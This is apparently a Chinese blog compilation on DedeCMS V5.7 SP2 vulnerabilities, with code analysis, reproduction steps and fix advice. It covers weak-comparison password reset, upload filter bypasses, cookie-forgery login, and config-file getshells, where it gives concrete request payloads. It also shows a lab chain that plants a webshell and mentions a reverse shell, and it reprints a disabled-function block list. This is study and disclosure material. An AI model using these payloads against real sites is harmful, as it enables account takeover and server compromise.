    可以发现,它调用了WriteCache方法和包含了cacheFile文件

    先追溯WriteCache方法:include/dedetemplate.class.php

    public function WriteCache($ctype = 'all')
        {
            if (!file_exists($this->cacheFile) || $this->isCache == false
                || (file_exists($this->templateFile) && (filemtime($this->templateFile) > filemtime($this->cacheFile)))
            ) {
                if (!$this->isParse) {
                    $this->ParseTemplate();
                }
                $fp = fopen($this->cacheFile, 'w') or dir("Write Cache File Error! ");
                flock($fp, 3);
                $result = trim($this->GetResult());
                $errmsg = '';
                if (!$this->CheckDisabledFunctions($result, $errmsg)) {
                    fclose($fp);
                    @unlink($this->cacheFile);
                    die($errmsg);
                }
                fwrite($fp, $result);
                fclose($fp);
                if (count($this->tpCfgs) > 0) {
                    $fp = fopen($this->configFile, 'w') or dir("Write Config File Error! ");
                    flock($fp, 3);
                    fwrite($fp, '<' . '?php' . "\r\n");
                    foreach ($this->tpCfgs as $k => $v) {
                        $v = str_replace("\"", "\\\"", $v);
                        $v = str_replace("\$", "\\\$", $v);
                        fwrite($fp, "\$this->tpCfgs['$k']=\"$v\";\r\n");
                    }
                    fwrite($fp, '?' . '>');
                    fclose($fp);
                }
            }
    

    在这里插入图片描述
    在这里插入图片描述
    在WriteCache写入了缓存文件,那么就可以通过referer构造payload,再通过上面的include文件包含缓存文件进行RCE

    我们可以先测试赋值Referer为Keepb1ue,然后写入的模板内容。
    在这里插入图片描述
    在这里插入图片描述

    那我们现在就可以将Referer替换为注入代码,当然我们如果直接写一些常见的危险函数是不行的,因为在dedetemplate.class.php中,存在CheckDisabledFunctions函数,CheckDisabledFunctions函数在WriteCache中被调用,会对内容进行一个检测。

    public function CheckDisabledFunctions($str, &$errmsg = '')
        {
            global $cfg_disable_funs;
            $cfg_disable_funs = isset($cfg_disable_funs) ? $cfg_disable_funs : 'phpinfo,eval,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,file_put_contents,fsockopen,fopen,fwrite';
            // 模板引擎增加disable_functions
            if (!defined('DEDEDISFUN')) {
                $tokens = token_get_all_nl($str);
                $disabled_functions = explode(',', $cfg_disable_funs);
                foreach ($tokens as $token) {
                    if (is_array($token)) {
                        if ($token[0] = '306' && in_array($token[1], $disabled_functions)) {
                            $errmsg = 'DedeCMS Error:function disabled "' . $token[1] . '" <a href="http://help.dedecms.com/install-use/apply/2013/0711/2324.html" target="_blank">more...</a>';
                            return false;
                        }
                    }
                }
            }
            return true;
        }
    

    函数首先通过token_get_all_nl函数获取输入时,处理时并没有过滤双引号,导致在disable_functions列表匹配时失败。

    这边由于某种原因就不把payload给出来了。。
    在这里插入图片描述

    修复建议

    当前官方已发布最新版本,建议受影响的用户及时更新升级到最新版本。链接如下:

    https://github.com/dedecms/DedeCMS

    展开全文
  • 【T928】HTML5黑色响应式展台设计织梦dedecms整站模板(自适应).rar.rar
  • Dedecms 最新版漏洞收集并复现学习

    千次阅读 2020-09-30 16:50:54
    Dedecms 最新版漏洞收集并复现学习 以下漏洞复现均处于最新版dedecms即V5.7 SP2(当然从18年开始就已经没有更新了,应该是没有人维护了)。下载可以直接在官网下载。 1. 前台任意用户密码修改 漏洞信息 无CVE, ...

    Dedecms 最新版漏洞收集并复现学习

    以下漏洞复现均处于最新版dedecms即V5.7 SP2(当然从18年开始就已经没有更新了,应该是没有人维护了)。下载可以直接在官网下载。

    1. 前台任意用户密码修改

    漏洞信息

    无CVE, SSV-97074,提交时间:20180110

    漏洞成因

    在用户密码重置功能处,php存在弱类型比较,导致如果用户没有设置密保问题的情况下可以绕过验证密保问题,直接修改密码(管理员账户默认不设置密保问题)。值得注意的是修改的密码是member表中的密码,即使修改了管理员密码也是member表中的管理员密码,仍是无法进入管理

    漏洞代码分析

    php弱类型比较问题很常见,在不同类型比较时,如果使用的是==,php会将其中一个数据进行强制转换为另一个,比如'123a'就会被强制转换成123。这样就出现了弱类型比较问题,当然如果使用===判断比较就不会出现问题了。常见比较如下

    '' == 0 == false '123' == 123             //'123'强制转换为123 
    'abc' == 0         //intval('abc')==0 
    '123a' == 123            //intval('123a')==123 
    '0x01' == 1             //被识别为十六进制
    '0e123456789' == '0e987654321'  //被识别为科学计数法 
    [false] == [0] == [NULL] == [''] 
    NULL == false == 0 
    true == 1

    dedecms的/member/resetpassword.php就是用来处理用户密码重置的问题,问题出在75行开始处理验证密保问题处。

    else if($dopost == "safequestion")
    {
        $mid = preg_replace("#[^0-9]#", "", $id);
        $sql = "SELECT safequestion,safeanswer,userid,email FROM #@__member WHERE mid = '$mid'";
        $row = $db->GetOne($sql);
        if(empty($safequestion)) $safequestion = '';
    
        if(empty($safeanswer)) $safeanswer = '';
    
        if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer)
        {
            sn($mid, $row['userid'], $row['email'], 'N');
            exit();
        }
        else
        {
            ShowMsg("对不起,您的安全问题或答案回答错误","-1");
            exit();
        }
    
    }

    可以看到,这段代码先是从数据库取出相关用户的密保问题及密保答案,在对用户输入做了一些处理后,进行了关键性的判断if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer) ,就在这里用了弱类型判断==

    首先我们知道,如果没有设置密保的话safequestion从数据库取出默认为'0',safeanswer为空。根据empty函数特性,'0'会被判断为空,会进入重新将$safequestion赋值为''。而'0' != '' ,所以我们需要一个输入即不使empty为空,且弱类型等于'0'的字符串。'00'、'000'、'0.0'以上这些都是可以的。

    接下来safeanswer既然本来就为空,那么不输入正好也就相等了。跟踪sn函数

    function sn($mid,$userid,$mailto, $send = 'Y')
    {
        global $db;
        $tptim= (60*10);
        $dtime = time();
        $sql = "SELECT * FROM #@__pwd_tmp WHERE mid = '$mid'";
        $row = $db->GetOne($sql);
        if(!is_array($row))
        {
            //发送新邮件;
            newmail($mid,$userid,$mailto,'INSERT',$send);
        }
        //10分钟后可以再次发送新验证码;
        elseif($dtime - $tptim > $row['mailtime'])
        {
            newmail($mid,$userid,$mailto,'UPDATE',$send);
        }
        //重新发送新的验证码确认邮件;
        else
        {
            return ShowMsg('对不起,请10分钟后再重新申请', 'login.php');
        }
    }

    跟踪newmail。

    function newmail($mid, $userid, $mailto, $type, $send)
    {
        global $db,$cfg_adminemail,$cfg_webname,$cfg_basehost,$cfg_memberurl;
        $mailtime = time();
        $randval = random(8);
        $mailtitle = $cfg_webname.":密码修改";
        $mailto = $mailto;
        $headers = "From: ".$cfg_adminemail."\r\nReply-To: $cfg_adminemail";
        $mailbody = "亲爱的".$userid.":\r\n您好!感谢您使用".$cfg_webname."网。\r\n".$cfg_webname."应您的要求,重新设置密码:(注:如果您没有提出申请,请检查您的信息是否泄漏。)\r\n本次临时登陆密码为:".$randval." 请于三天内登陆下面网址确认修改。\r\n".$cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid;
        if($type == 'INSERT')
        {
            $key = md5($randval);
            $sql = "INSERT INTO `#@__pwd_tmp` (`mid` ,`membername` ,`pwd` ,`mailtime`)VALUES ('$mid', '$userid',  '$key', '$mailtime');";
            if($db->ExecuteNoneQuery($sql))
            {
                if($send == 'Y')
                {
                    sendmail($mailto,$mailtitle,$mailbody,$headers);
                    return ShowMsg('EMAIL修改验证码已经发送到原来的邮箱请查收', 'login.php','','5000');
                } else if ($send == 'N')
                {
                    return ShowMsg('稍后跳转到修改页', $cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&amp;id=".$mid."&amp;key=".$randval);
                }
            }
            else
            {
                return ShowMsg('对不起修改失败,请联系管理员', 'login.php');
            }
        }

    可见在sn函数中将send参数设置了'N',其实就是生成了暂时密码并插入了数据库中,并进行跳转:

    else if ($send == 'N')
    {
            return ShowMsg('稍后跳转到修改页', $cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&amp;id=".$mid."&amp;key=".$randval);
                }

    跳转链接就是修改密码的链接了。

    复现

    在找回密码处,点击通过安全问题取回。

    填写信息并抓包,修改id和userid为想要重置密码的对象,再加上以上分析内容,发包即可得到修改密码url

    进入该url,修改密码。

    修复意见

    改为强类型比较===

    2. 前台文件上传漏洞

    漏洞信息

    CVE-2018-20129, 提交时间:20181221

    漏洞成因

    管理员用户前台可以绕过限制上传shell

    漏洞代码分析

    漏洞在于用户发布文章上传图片处。处理文件在/include/dialog/select_images_post.php

    而上传文件存在全局过滤/include/uploadsafe.inc.php

    #/include/uploadsafe.inc.php
    $cfg_not_allowall = "php|pl|cgi|asp|aspx|jsp|php3|shtm|shtml";
    if(!empty(${$_key.'_name'}) && (preg_match("#\.(".$cfg_not_allowall.")$#i",${$_key.'_name'}) || !preg_match("#\.#", ${$_key.'_name'})) )
    {
        if(!defined('DEDEADMIN'))
        {
            exit('Not Admin Upload filetype not allow !');
        }
    }
    $imtypes = array
        (
        "image/pjpeg", "image/jpeg", "image/gif", "image/png", 
        "image/xpng", "image/wbmp", "image/bmp"
    );
    
    if(in_array(strtolower(trim(${$_key.'_type'})), $imtypes))
    {
        $image_dd = @getimagesize($$_key);
        if (!is_array($image_dd))
        {
            exit('Upload filetype not allow !');
        }
    }

    可以看到名字中不得有上述字符,且限制了content-type。按道理说直接限制不得存在的字符,似乎没有问题了,可在发布文章文件上传的处理文件select_images_post.php中存在如下代码:

    $imgfile_name = trim(preg_replace("#[ \r\n\t\*\%\\\/\?><\|\":]{1,}#", '', $imgfile_name));
    
    if(!preg_match("#\.(".$cfg_imgtype.")#i", $imgfile_name)) #$cfg_imgtype = 'jpg|gif|png';
    {
        ShowMsg("你所上传的图片类型不在许可列表,请更改系统对扩展名限定的配置!", "-1");
        exit();
    }

    再次过滤了图片名,并且再次判断如上三种文件类型是否存在其中。这么一次过滤,直接粗暴的将一些特殊字符替换为空,那么我们就可以通过特殊字符绕过上面的全局文件名不能包含php字符的限制,比如文件名为1.jpg.p*hp

    复现

    登录并进入member/article_add.php发布文章,选择下面的富文本编辑器插入图片

    选择好shell并上传抓包

    向如上分析修改文件名与content-type,即可返回shell地址

    修复意见

    在最后拼接文件名时再判断一次。

    3. DeDecms 任意用户登录

    漏洞信息

    漏洞编号:SSV-97087,提交时间:20180118

    漏洞成因

    dedecms的会员模块的身份认证使用的是客户端session,在Cookie中写入用户ID并且附上ID__ckMd5,用做签名。主页存在逻辑漏洞,导致可以返回指定uid的ID的Md5散列值。原理上可以伪造任意用户登录。

    漏洞代码分析

    在/member/index.php中会接收uid和action参数。uid为用户名,进入index.php后会验证Cookie中的用户ID与uid(用户名)并确定用户权限。

        if($action == '')
        {
            include_once(DEDEINC."/channelunit.func.php");
            $dpl = new DedeTemplate();
            $tplfile = DEDEMEMBER."/space/{$_vars['spacestyle']}/index.htm";
    
            //更新最近访客记录及站点统计记录
            $vtime = time();
            $last_vtime = GetCookie('last_vtime');
            $last_vid = GetCookie('last_vid');
            if(empty($last_vtime))
            {
                $last_vtime = 0;
            }
            if($vtime - $last_vtime > 3600 || !preg_match('#,'.$uid.',#i', ','.$last_vid.','))
            {
                if($last_vid!='')
                {
                    $last_vids = explode(',',$last_vid);
                    $i = 0;
                    $last_vid = $uid;
                    foreach($last_vids as $lsid)
                    {
                        if($i>10)
                        {
                            break;
                        }
                        else if($lsid != $uid)
                        {
                            $i++;
                            $last_vid .= ','.$last_vid;
                        }
                    }
                }
                else
                {
                    $last_vid = $uid;
                }
                PutCookie('last_vtime', $vtime, 3600*24, '/');
                PutCookie('last_vid', $last_vid, 3600*24, '/');

    我们可以看到当uid存在值时就会进入我们现在的代码中,当cookie中的last_vid中不存在值为空时,就会将uid值赋予过去,$last_vid = $uid;,然后PutCookie。

    那么这么说,我们控制了$uid就相当于可以返回任意值经过服务器处理的md5值。

    而在接下来会验证用户是否登录。

    现在我们来看看,dedecms会员认证系统是怎么实现的:/include/memberlogin.class.php

    //php5构造函数
        function __construct($kptime = -1, $cache=FALSE)
        {
            global $dsql;
            if($kptime==-1){
                $this->M_KeepTime = 3600 * 24 * 7;
            }else{
                $this->M_KeepTime = $kptime;
            }
            $formcache = FALSE;
            $this->M_ID = $this->GetNum(GetCookie("DedeUserID"));
            $this->M_LoginTime = GetCookie("DedeLoginTime");
            $this->fields = array();
            $this->isAdmin = FALSE;
            if(empty($this->M_ID))
            {
                $this->ResetUser();
            }else{
                $this->M_ID = intval($this->M_ID);
    
                if ($cache)
                {
                    $this->fields = GetCache($this->memberCache, $this->M_ID);
                    if( empty($this->fields) )
                    {
                        $this->fields = $dsql->GetOne("Select * From `#@__member` where mid='{$this->M_ID}' ");
                    } else {
                        $formcache = TRUE;
                    }
                } else {
                    $this->fields = $dsql->GetOne("Select * From `#@__member` where mid='{$this->M_ID}' ");
                }
    
                if(is_array($this->fields)){
                    #api{{
                    if(defined('UC_API') && @include_once DEDEROOT.'/uc_client/client.php')
                    {
                        if($data = uc_get_user($this->fields['userid']))
                        {
                            if(uc_check_avatar($data[0]) && !strstr($this->fields['face'],UC_API))
                            {
                                $this->fields['face'] = UC_API.'/avatar.php?uid='.$data[0].'&size=middle';
                                $dsql->ExecuteNoneQuery("UPDATE `#@__member` SET `face`='".$this->fields['face']."' WHERE `mid`='{$this->M_ID}'");
                            }
                        }
                    }
                    #/aip}}
    
                    //间隔一小时更新一次用户登录时间
                    if(time() - $this->M_LoginTime > 3600)
                    {
                        $dsql->ExecuteNoneQuery("update `#@__member` set logintime='".time()."',loginip='".GetIP()."' where mid='".$this->fields['mid']."';");
                        PutCookie("DedeLoginTime",time(),$this->M_KeepTime);
                    }
                    $this->M_LoginID = $this->fields['userid'];
                    $this->M_MbType = $this->fields['mtype'];
                    $this->M_Money = $this->fields['money'];
                    $this->M_UserName = FormatUsername($this->fields['uname']);
                    $this->M_Scores = $this->fields['scores'];
                    $this->M_Face = $this->fields['face'];
                    $this->M_Rank = $this->fields['rank'];
                    $this->M_Spacesta = $this->fields['spacesta'];
                    $sql = "Select titles From #@__scores where integral<={$this->fields['scores']} order by integral desc";
                    $scrow = $dsql->GetOne($sql);
                    $this->fields['honor'] = $scrow['titles'];
                    $this->M_Honor = $this->fields['honor'];
                    if($this->fields['matt']==10) $this->isAdmin = TRUE;
                    $this->M_UpTime = $this->fields['uptime'];
                    $this->M_ExpTime = $this->fields['exptime'];
                    $this->M_JoinTime = MyDate('Y-m-d',$this->fields['jointime']);
                    if($this->M_Rank>10 && $this->M_UpTime>0){
                        $this->M_HasDay = $this->Judgemember();
                    }
                    if( !$formcache )
                    {
                        SetCache($this->memberCache, $this->M_ID, $this->fields, 1800);
                    }
                }else{
                    $this->ResetUser();
                }
            }
        }

    $this->M_ID等于Cookie中的DedUserID,我们继续看看GetCookie函数

    if ( ! function_exists('GetCookie'))
    {
        function GetCookie($key)
        {
            global $cfg_cookie_encode;
            if( !isset($_COOKIE[$key]) || !isset($_COOKIE[$key.'__ckMd5']) )
            {
                return '';
            }
            else
            {
                if($_COOKIE[$key.'__ckMd5']!=substr(md5($cfg_cookie_encode.$_COOKIE[$key]),0,16))
                {
                    return '';
                }
                else
                {
                    return $_COOKIE[$key];
                }
            }
        }
    }

    它不但读了cookie还验证了md5值。

    这样,由于index.php中我们可以控制返回一个输入值和这个输入值经过服务器处理后的md5值。那么如果我们伪造DedUserID和它对应的MD5就行了。

    最后一个问题,因为我们上面是通过用户名伪造ID的,用户名为字符串而ID为整数,但好在在构造用户类中将M_ID intval了一下$this->M_ID = intval($this->M_ID); 那么这么说,如果我们想伪造ID为1的用户的Md5,我们只要在上面设置uid(用户名)为'000001'即可。

    复现

    现在我们的思路就是

    1. 先从member/index.php中获取伪造的DedeUserID和它对于的md5
    2. 使用它登录

    访问member/index.php?uid=0000001并抓包(注意cookie中last_vid值应该为空)。

    可以看到已经获取到了,拿去当做DeDeUserID

    可以看到,登陆了admin用户。

    修复意见

    M_ID被intval后还要判断是否与未intval之前相同。

    4. Dedecms V5.7后台的两处getshell

    漏洞信息

    CVE-2018-9175,提交时间:20180401

    漏洞成因

    后台写配置文件过滤不足导致写shell。

    漏洞代码分析

    第一个

    在/dede/sys_verifies.php中的第152行处

    else if ($action == 'getfiles')
    {
        if(!isset($refiles))
        {
            ShowMsg("你没进行任何操作!","sys_verifies.php");
            exit();
        }
        $cacheFiles = DEDEDATA.'/modifytmp.inc';
        $fp = fopen($cacheFiles, 'w');
        fwrite($fp, '<'.'?php'."\r\n");
        fwrite($fp, '$tmpdir = "'.$tmpdir.'";'."\r\n");
        $dirs = array();
        $i = -1;
        $adminDir = preg_replace("#(.*)[\/\\\\]#", "", dirname(__FILE__));
        foreach($refiles as $filename)
        {
            $filename = substr($filename,3,strlen($filename)-3);
            if(preg_match("#^dede/#i", $filename)) 
            {
                $curdir = GetDirName( preg_replace("#^dede/#i", $adminDir.'/', $filename) );
            } else {
                $curdir = GetDirName($filename);
            }
            if( !isset($dirs[$curdir]) ) 
            {
                $dirs[$curdir] = TestIsFileDir($curdir);
            }
            $i++;
            fwrite($fp, '$files['.$i.'] = "'.$filename.'";'."\r\n");
        }
        fwrite($fp, '$fileConut = '.$i.';'."\r\n");
        fwrite($fp, '?'.'>');
        fclose($fp);

    可以看到,这里会将$refiles数组中的内容写入配置文件modifytmp.inc中。

    dedecms对于输入是全局过滤的,在/common.inc.php中注册并过滤了外部提交的变量

    function _RunMagicQuotes(&$svar)
    {
        if(!get_magic_quotes_gpc())
        {
            if( is_array($svar) )
            {
                foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
            }
            else
            {
                if( strlen($svar)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE|_SESSION)#',$svar) )
                {
                  exit('Request var not allow!');
                }
                $svar = addslashes($svar);
            }
        }
        return $svar;
    }
    
    if (!defined('DEDEREQUEST'))
    {
        //检查和注册外部提交的变量   (2011.8.10 修改登录时相关过滤)
        function CheckRequest(&$val) {
            if (is_array($val)) {
                foreach ($val as $_k=>$_v) {
                    if($_k == 'nvarname') continue;
                    CheckRequest($_k);
                    CheckRequest($val[$_k]);
                }
            } else
            {
                if( strlen($val)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE|_SESSION)#',$val)  )
                {
                    exit('Request var not allow!');
                }
            }
        }
    
        //var_dump($_REQUEST);exit;
        CheckRequest($_REQUEST);
        CheckRequest($_COOKIE);
    
        foreach(Array('_GET','_POST','_COOKIE') as $_request)
        {
            foreach($$_request as $_k => $_v)
            {
                if($_k == 'nvarname') ${$_k} = $_v;
                else ${$_k} = _RunMagicQuotes($_v);
            }
        }
    }

    上面的$refiles就是注册的外部变量,可见已经addlashes了而我们还是需要绕过fwrite($fp, '$files['.$i.'] = "'.$filename.'";'."\r\n"); 实现注入shell,首先需要注入就必须闭合双引号,在这里有个诡异的操作

    $filename = substr($filename,3,strlen($filename)-3);

    去掉了输入的前三个字符,这样就为我们写shell制造了机会,当我们输入\" 时经过addlashes会变成\\\",再去掉前三个字符就只剩下双引号实现闭合。

    此时写入shell后只要再找一个包含modifytmp.inc文件的文件就好了,全局搜索一下可以发现就在本文件/dede/sys_verifies.php

    第二个

    同样是写配置文件,位于/dede/sys_cache_up.php

    else if($step == 2)
    {
        include_once(DEDEINC."/enums.func.php");
        WriteEnumsCache();
        //WriteAreaCache(); 已过期
        ShowMsg("成功更新枚举缓存,准备更新调用缓存...", "sys_cache_up.php?dopost=ok&step=3&uparc=$uparc");
        exit();
    }

    跟进WriteEnumsCache()

    function WriteEnumsCache($egroup='')
    {
        global $dsql;
        $egroups = array();
        if($egroup=='') {
            $dsql->SetQuery("SELECT egroup FROM `#@__sys_enum` GROUP BY egroup ");
        }
        else {
            $dsql->SetQuery("SELECT egroup FROM `#@__sys_enum` WHERE egroup='$egroup' GROUP BY egroup ");
        }
        $dsql->Execute('enum');
        while($nrow = $dsql->GetArray('enum')) {
            $egroups[] = $nrow['egroup'];
        }
        foreach($egroups as $egroup)
        {
            $cachefile = DEDEDATA.'/enums/'.$egroup.'.php';
            $fp = fopen($cachefile,'w');
            fwrite($fp,'<'."?php\r\nglobal \$em_{$egroup}s;\r\n\$em_{$egroup}s = array();\r\n");
            $dsql->SetQuery("SELECT ename,evalue,issign FROM `#@__sys_enum` WHERE egroup='$egroup' ORDER BY disorder ASC, evalue ASC ");
            $dsql->Execute('enum');
            $issign = -1;
            $tenum = false; //三级联动标识
            while($nrow = $dsql->GetArray('enum'))
            {
                fwrite($fp,"\$em_{$egroup}s['{$nrow['evalue']}'] = '{$nrow['ename']}';\r\n");
                if($issign==-1) $issign = $nrow['issign'];
                if($nrow['issign']==2) $tenum = true;
            }
            if ($tenum) $dsql->ExecuteNoneQuery("UPDATE `#@__stepselect` SET `issign`=2 WHERE egroup='$egroup'; ");
            fwrite($fp,'?'.'>');
            fclose($fp);
            if(empty($issign)) WriteEnumsJs($egroup);
        }
        return '成功更新所有枚举缓存!';
    }

    可以看到,直接从数据库中读取并写入php文件中,从数据库中取出后并没有经过过滤。

    将shell写进数据库中https://172.16.180.130/dedecms/uploads/dede/stepselect_main.php?action=addenum_save&ename=123&egroup=;phpinfo();//&islogin=1

    复现

    因为包含是在同一个文件,所以直接输入dede/sys_verifies.php?action=getfiles&refiles[]=123&refiles[]=\%22;phpinfo();die();// 就可以。

    修复意见

    更改前面的过滤条件

    5. 某cms v5.7 sp2 后台文件上传 getshell

    漏洞信息

    CVE-2019-8362,提交时间 20190216

    漏洞成因

    上传zip文件解压缩对于文件名过滤不周,导致getshell

    漏洞代码分析

    /dede/album_add.php 175行验证后缀

    $fm->GetMatchFiles($tmpzipdir,"jpg|png|gif",$imgs);

    进入函数:

        function GetMatchFiles($indir, $fileexp, &$filearr)
        {
            $dh = dir($indir);
            while($filename = $dh->read())
            {
                $truefile = $indir.'/'.$filename;
                if($filename == "." || $filename == "..")
                {
                    continue;
                }
                else if(is_dir($truefile))
                {
                    $this->GetMatchFiles($truefile, $fileexp, $filearr);
                }
                else if(preg_match("/\.(".$fileexp.")/i",$filename))
                {
                    $filearr[] = $truefile;
                }
            }
            $dh->close();
        }

    可以确定preg_match("/\.(".$fileexp.")/i",$filename)只是判断了文件名中是否存在.jpg、.png、.gif中的一个,只要构造1.jpg.php就可以绕过。

    复现

    管理员用户上传压缩了1.jpg.php这个shell的zip文件再解压缩即可。这里

    修复意见

    加强过滤正则的书写。

    同和上面,后台dedecms后台getshell真的很鸡肋。

    展开全文
  • DeDeCMS 越权

    2020-04-13 10:37:01
    DeDeCMS 越权 0x00 搭建dedecms 设置数据库密码 开启会员功能 0x01 注册会员 并在后台设置为通过审核 0x03 越权操作 创建000001用户 2、000001用户登陆,BP抓包 修改数据包 登陆至admin ...

    DeDeCMS 越权

    0x00 搭建dedecms

    设置数据库密码

    开启会员功能

     

    0x01 注册会员

    并在后台设置为通过审核

    0x03 越权操作

    1. 创建000001用户

    2000001用户登陆,BP抓包

    1. 修改数据包

    1. 登陆至admin

    1. F12修改cookie

    1. 修改admin会员密码

    192.168.8.135/dedecms/member/resetpassword.php?dopost=safequestion&safequestion=0.0&id=1

    BP抓包并发送到repeater

    查看会包中location

    http://192.168.8.135/dedecms/member/resetpassword.php?dopost=getpasswd&amp;id=1&amp;key=9ZxPhWBg

    去掉amp;并访问

    修改密码为123456

    1. 关闭代理并访问http://192.168.8.135/dedecms/member/edit_baseinfo.php

    1. 填写资料完成后,再次访问修改管理员admin密码的URL并修改密码为asshole

    1. 登陆后台,插入一句话木马

    Url查看广告

    打开hackbar,以post方式提交cmd=echo "-->";phpinfo();

    1. 菜刀连接

    连接成功

    后面再上传反弹shell

     

    越权漏洞总结:

    越权漏洞属于逻辑漏洞,是由于权限检验的逻辑不够严谨导致

    1、水平越权:

    攻击者请求操作(增删改查)某条数据时,web应用程序没有判断该条数据的所属人,或者在判断数据所属人时直接从用户提交的表单参数中获取,例如用户id等,导致攻击者可以自行修改参数,操作获取不属于自己的数据。

    测试方法:在发送请求时观察请求参数,尝试修改用户id或者其他参数验证是否能查看不属于自己的数据,进行增删改查,若成功则存在平行越权的漏洞

    1. 垂直越权

    和平行越权相似,但是纵向越权是可以请求更高权限的操作,比如普通用户可以进行管理员的操作权限。

    测试方法:查看请求中是否有身份标识,比如userid,角色id之类的,有的话尝试修改,重新请求更高权限的操作。不过之前遇到一些很奇葩的系统,普通用户进去可以新建管理员的用户,然后直接用管理员用户账号登录。

    思路:

    登陆超级管理员,进行仅管理员有的权限的操作,然后抓取该操作的数据包,退出超级管理员。

    登陆普通管理员,用普通管理员的身份,该操作的数据包进行一次重放

     

    展开全文
  • 目录环境搭建DedeCMS V5.7 SP2后台代码执行漏洞漏洞简介复现代码分析Dedecms V5.7后台任意代码执行CVE-2018-7700Dedecms前台文件上传漏洞CVE-2018-20129代码分析Dedecms 前台任意用户密码修改代码分析 环境搭建 ...
  • dedecms数据转移到phpcms插件https://doc.tengcee.com/other/190.htmldedecms数据转移到phpcms插件可以实现dedecms5.6、dedecms5.7数据转移到phpcms v9.6版本。效果图 使用教程: 1、请先安装PHPCMS ...
  • 这里我们来说一下,怎么调整仿制的网站首页。主要先从两个方面,第一是把网站上文字,改成我们的调用代码。第二是把网站的图片加载出来。很简单,先用DW打开之前下载的首页文件index.html,最上面的...搜索“dedecms...
  • Dedecms去掉所有版权

    2020-11-26 21:30:06
    整站搜dedecms 全部替换成XX系统。 5.去安全检测提示:dede/index_testenv.php 6.dede/images/login-bg.jpg(“建站如此简单”图片,替换即可) 7.文字链接广告和开发团队声明。 dede/ndex_body.php文件中,将以下...
  • 织梦dedecms免费转换到yzmcms教程(含插件下载) 自2021年09月30号,DedeCMS官方发布一封公开信,信中对于商业程序使用发出了授权通告,除个人非营利网站外都要购买DedeCMS商业使用授权,对于国内大批网站来说都是一...
  • 理解织梦模板引擎有什么意义?一方面可以更好地自定义标签。更多在于了解织梦系统,理解模板引擎是理解织梦工作...一解析式引擎如果你还没用过dedecms的标签,先用一下,也可以看一下“dedecms网页模板编写”。熟...
  • DedeCMS5.7-前台文件上传漏洞

    热门讨论 2021-06-10 14:43:10
    DedeCMS5.7-前台文件上传漏洞环境搭建漏洞复现漏洞分析 环境搭建 官方下载DeDeCMS V5.7 SP2(UTF-8),下载地址 使用phpstudy搭建web环境 把下载好的源码放到网站根目录下,开启phpstudy,,浏览器访问即可 点击...
  • DEDECMS安装使用教程

    千次阅读 2019-04-17 14:50:17
    DEDECMS安装流程: 1、安装运行环境,没有运行环境是不能进行织梦的安装的,可以使用织梦自己的整合环境,在织梦CMS的下载页有,也可以下载其他的集成环境,windows下推荐使用wamp,linux下推荐使用xampp,当然也...
  • dedecms v5.7(build 20150618)的12个漏洞

    万次阅读 2018-06-28 14:57:05
    一打开阿里云后台,发现... : )1.dedecms支付模块注入漏洞 描述:DEDECMS支付插件存在SQL注入漏洞,此漏洞存在于/include/payment/alipay.php文件中,对输入参数$_GET['out_trade_no']未进行严格过滤。解决:找到 ...
  • 织梦CMS默认首页文章列表是不能分页的,但是我这个网站主页做个人博客网站的,首页要用到分页,所以装了织梦首页分页插件这个插件来实现。但是装完插件后发现,首页分页URL地址是index**.html这种格式,和我原来hexo...
  • 很多企业和公司使用dedecms织梦系统,开发了自己的网站或者移动手机站,在dedecms织梦系统默认接口只有易宝,支付宝,银行接口,现在主流微信支付交易,那么如果你想在dedecms中配置微信支付接口应该怎么开发呢?...
  • 为什么这么做呢,一般来说使用后台导入会比较久,而使用命令行则飞快,4万多篇文章,我们的导入脚本大概1分半就能完成,当然了命令行模式开发比较快一点。...下面我详细介绍一下如何一键将 DEDECMS 迁移到 W
  • DEDECMS 漏洞汇总

    千次阅读 2019-09-29 06:29:30
    日期:2019-08-08 10:20:28 更新: ... ...dedecms 在修改密码时,如果前台的用户是 admin,那么前台修改 admin 的密码,后台 admin ...转载于:https://www.cnblogs.com/v1vvwv/p/DEDECMS_Vulnerability_Summary.html
  • dedecms开启授权收费模式倒计时,织梦cms官方发布公告称限定使用dedecms系统的网站管理员及拥有者在一个月之内完成授权购买,已经运营的织梦网站需要在2021年10月25日24时前购买相关授权。有消息称织梦官方已组织了...
  • Dedecms5.7漏洞利用

    2020-10-20 18:35:32
    Dedecms5.7渗透测试 Dedecms5.7由于编程的问题,有一个可以直接篡改用户密码的漏洞,一下是复现过程: 一:启动环境: 首先要进行dedecms的安装,其下载地址为:] DeDeCMS 官网 http://www.dedecms.com/ [2]。 不过...
  • $rmurl = $updateHost."dedecms/demodata.{$s_lang}.txt"; $sql_content = file_get_contents($rmurl); $fp = fopen($install_demo_name,'w'); if(fwrite($fp,$sql_content)) echo ' [√]</font> 存在(您可以...
  • dedecms(织梦)发布公告:除个人非盈利网站外,均需要购买DedeCMS商业使用授权,授权费为5800元。 不少站长纷纷感叹:用了那么久的织梦CMS突然开始收费了!如果逾期没有购买织梦CMS的商业使用授权,可能要面临被官方...
  • dedecms的后台本身就带有修锁功能,我们完全可以复制dede默认的代码,来实现自己想要的搜索功能。 1、找到dede后台的默认模板 templets/default/head.htm 里面的代码,如下: &amp;lt;form name=&quot;form...
  • dedecms全站伪静态教程分为五部分,包括“Apache设置、.htaccess文件设置、首页伪静态、列表页伪静态、文章页伪静态”。 一、Apache文件设置 这是dedecms教程重头戏,以前用本地测试时因 httpd.conf 文件没设置...
  • DedeCms二次注入复现

    2021-01-07 23:34:07
    DedeCms二次注入复现 配置 DedeCms 5.6 php 5.2.17 phpstudy 8.1.1.2 Firefox Hackbar V2 御剑 菜刀 一、环境搭建 1、下载DedeCms5.6 链接地址:https://download.csdn.net/download/sun1296825481/14041738 2、...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 19,359
精华内容 7,743
关键字:

dedecms